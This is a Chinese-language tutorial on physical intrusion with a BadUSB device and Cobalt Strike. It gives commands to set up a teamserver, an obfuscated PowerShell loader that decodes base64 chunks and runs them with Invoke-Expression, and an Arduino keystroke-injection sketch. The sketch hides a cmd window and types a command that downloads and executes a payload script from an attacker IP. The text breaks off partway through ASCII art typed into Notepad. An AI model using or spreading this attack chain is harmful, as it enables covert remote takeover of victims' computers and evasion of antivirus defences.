物理渗透战士：教你如何使用BadUSB配合CS免杀实现上线

sftp root@IPlsput \xxx\cs.zip
ssh root@IPapt updateapt install unzipunzip cs.zipapt install default-jdkcd cschmod 777 teamserversudo ./teamserver IP password

apt install screenscreen -S test

Set-StrictMode -Version 2
$a1 = 'base64编码'$a2 = 'base64编码'$a3 = 'base64编码'$a4 = 'base64编码'$a5 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a1+$a2+$a3+$a4))
If ([IntPtr]::size -eq 8) {  start-job { param($a) IEX $a } -RunAs32 -Argument $a5 | wait-job | Receive-Job}else {  IEX $a5}

//payloadif (onetimeOrForever == 0){  delay(1000);  Keyboard.begin();//开始键盘通讯   delay(1500);//延时   Keyboard.press(KEY_LEFT_GUI);//win键   delay(500);  Keyboard.press('r');//r键  delay(500);   Keyboard.release(KEY_LEFT_GUI);  Keyboard.release('r');  delay(500);  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");   //使用最小化隐藏cmd窗口  //cmd /c start /minCMD /C START /MIN POWERSHELL -W HIDDEN  delay(500);  Keyboard.press(KEY_RETURN);   Keyboard.release(KEY_RETURN);   delay(1300);  Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://IP/payload.ps1') | powershell -");  Keyboard.press(KEY_RETURN);   Keyboard.release(KEY_RETURN);   Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.end();//结束键盘通讯    delay(1000);  Keyboard.begin();//开始键盘通讯   delay(1500);//延时   Keyboard.press(KEY_LEFT_GUI);//win键   delay(500);  Keyboard.press('r');//r键  delay(500);   Keyboard.release(KEY_LEFT_GUI);  Keyboard.release('r');  delay(500);  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.println("notepad.exe");    //打开记事本  delay(500);  Keyboard.println("                                   $$$$ ");  delay(500);  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                        $$$$$$         $$$$$$");  Keyboard.println("   $$$$$$     $$         $$         $$        $$$$");  Keyboard.println("   $$         $$$$         $$         $$        $$    $$");  Keyboard.println("   $$             $$         $$         $$        $$        $$");  Keyboard.println